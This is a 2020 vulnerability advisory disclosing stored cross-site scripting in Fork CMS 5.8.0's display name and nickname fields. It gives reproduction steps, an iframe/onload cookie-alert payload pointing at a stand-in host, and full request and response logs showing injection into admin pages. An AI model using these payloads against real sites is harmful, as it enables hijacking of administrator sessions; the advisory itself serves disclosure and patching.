# Title: Fork CMS 5.8.0 - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.fork-cms.com/download
# Software Link: https://github.com/forkcms/forkcms/pull/3073
# CVE: N/A
Document Title:
===============
Fork CMS v5.8.0 - Multiple Persistent Web Vulnerbilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2208
ID (3073): https://github.com/forkcms/forkcms/pull/3073
Release Date:
=============
2020-04-17
Vulnerability Laboratory ID (VL-ID):
====================================
2208
Common Vulnerability Scoring System:
====================================
5.3
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Fork is an easy to use open source CMS using Symfony Components. Fork
CMS is dedicated to creating a user friendly environment
to build, monitor and
update your website. We take great pride in being the Content Management
System of choice for beginners and professionals.
(Copy of the Homepage: https://www.fork-cms.com &
https://www.fork-cms.com/download )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the official Fork CMS v5.8.0.
Affected Product(s):
====================
ForkCMS
Product: Fork CMS v5.8.0 - Content Management System (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-04-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been
discovered in the official Fork CMS v5.8.0 open-source web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.
The persistent input validation web vulnerabilities are located in the
`Displayname` input field when using the `Add`, `Edit` or `Register`
mechanism that forwards the information into the `var` parameter. Remote
attackers and privileged application user accounts are able to
inject own malicious persistent script code as the users displayname by
usage of the registration module (/profiles/register). Privileged
users with access to the profile or users module are able to exploit the
issue by a simple inject. The displayname then becomes visible in
the Admin - Profiles Index on Preview, Edit User/Profile, Delete User
Interaction and User Index in Listing modules. the var parameter
does not encode or parse the exisiting injected content and executes it.
The request method to inject is POST and the attack vector of the
vulnerability is located on the application-side of the content
management system. The injection point is located in the registration form
and the add/edit user function. The execution point of the issue occurs
in the preview profile, edit user, user index listing and delete
user message context.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Register
[+] Add User
[+] Edit User
Vulnerable Input(s):
[+] Displayname
Vulnerable Parameter(s):
[+] var
Affected Module(s):
[+] Preview Profile
[+] Edit User
[+] User Index
[+] Delete User
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steüs below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the fork cms web-application newst version
2. Move via sitemap or by link to the registration page
(/modules/profiles/register)
3. Inject your script code payload html/js to the Displayname input field
4. Register the account by pushing submit
5. Activate the link in the account registration email
Note: Now simple wait until the administrator / privileged user visits
the panel to execute the code on interaction or preview only
6. Successful reproduce of the persistent script code injection
vulnerability!
PoC: Vulnerable Source (User Index in Listing -
https://fork-cms.localhost:8080/private/en/users/index)
<tr id="row-2" class="even">
<td class="nickname"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
title="edit">test3"><iframe src="evil.source"
onload=alert(document.cookie)></a></td>
<td class="fork-data-grid-action actionEdit"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
class="btn btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td>
</tr>
PoC: Vulnerable Source (Profiles Index on Preview -
https://fork-cms.localhost:8080/private/en/profiles/index)
<tbody><tr id="row-1" class="odd">
<td class="check"><input type="checkbox" name="id[]" value="1"
class="inputCheckbox checkBeforeUnload"></td>
<td class="email"><a
href="/private/en/profiles/edit?token=k7byefqor8&id=1"
title="">tester23@protonmail.com</a></td>
<td class="display_name">"<iframe src="evil.source"
onload="alert(document.cookie)"></td>
<td class="registered_on">13 April 2020 11:17</td>
<td class="fork-data-grid-action actionEdit">
<a href="/private/en/profiles/edit?token=k7byefqor8&id=1" class="btn
btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td>
</tr></tbody>
PoC: Vulnerable Source (Delete User - On Interaction)
<form name="delete" method="post"
action="/private/en/users/delete?token=k7byefqor8">
<input type="hidden" id="delete__token" name="delete[_token]"
value="q3ADogMObka_-73n5afnMPsJHj9ZAI_ch5uiabqDsqs" />
<input type="hidden" id="delete_id" name="delete[id]" value="2" />
<div class="modal fade" id="confirmDelete" role="dialog" tabindex="-1"
aria-hidden="true" aria-labelledby="confirmDeleteTitle">
<div class="modal-dialog"><div class="modal-content"><div
class="modal-header">
<h4 class="modal-title" id="confirmDeleteTitle">Delete</h4></div>
<div class="modal-body">
<p>Are your sure you want to delete the user "evil.source"><iframe
src=evil.source onload=alert(document.cookie)>"?</p></div>
<div class="modal-footer">
<button class="btn btn-default" title="Cancel" data-dismiss="modal">
<span class="fa fa-times" aria-hidden="true"></span>
<span class="btn-text">Cancel</span></button>
<button class="btn btn-danger" title="Delete" >
<span class="fa fa-trash" aria-hidden="true"></span>
<span class="btn-text">Delete</span>
</button></div></div></div></div>
</form>
--- PoC Session Logs [POST] (Registration User Account) ---
https://fork-cms.localhost:8080/en/modules/profiles/register#registerForm
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://fork-cms.localhost:8080/en/modules/profiles/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie:
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B;PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d;
interface_language=en; frontend_language=en; cookie_bar_agree=Y;
cookie_bar_hide=Y;
form=register&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&display_name=>"<iframe
src=evil.source
onload=alert(document.cookie)>&email=tester23@protonmail.com&password=pwnd
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: frontend_language=en; expires=Wed, 13-May-2020 09:49:57 GMT;
Max-Age=2592000;
path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B; expires=Tue,
13-Apr-2021 09:49:57 GMT;
Max-Age=31536000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: https://fork-cms.localhost:8080
X-server: fork01
-- PoC Session Logs [POST] (Add User) ---
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Content-Type: multipart/form-data;
boundary=---------------------------56051791419552543783889366402
Content-Length: 2545
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
Upgrade-Insecure-Requests: 1
form=add&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=tester232323@protonmail.com&password=tester445
&confirm_password=tester445&name=test1&surname=test2&nickname=test3>"<iframe
src=a onload=alert(document.cookie)>&avatar=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing
&csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&add=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
X-server: fork01
-
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3615
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
-
GET: HTTP/1.1 200 OK
Server: nginx/1.6.2
https://fork-cms.localhost:8080/private/en/users/evil.source
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: /private/en/error?type=action-not-allowed
X-server: fork01
-- PoC Session Logs [POST] (Edit User) ---
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Content-Type: multipart/form-data;
boundary=---------------------------388544425912514902093103180709
Content-Length: 2563
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
form=edit&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=testemail337@protonmail.com&name=test1&surname=test2
&nickname=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&avatar=&new_password=&confirm_password=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing&
csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&edit=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&highlight=row-2
X-server: fork01
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3585
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT;
Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
Reference(s):
https://fork-cms.localhost:8080/en/modules/profiles/register
https://fork-cms.localhost:8080/private/en/profiles/index
https://fork-cms.localhost:8080/private/en/users/index
https://fork-cms.localhost:8080/private/en/users/edit
https://fork-cms.localhost:8080/private/en/users/add
Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities
in the fork cms web-application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
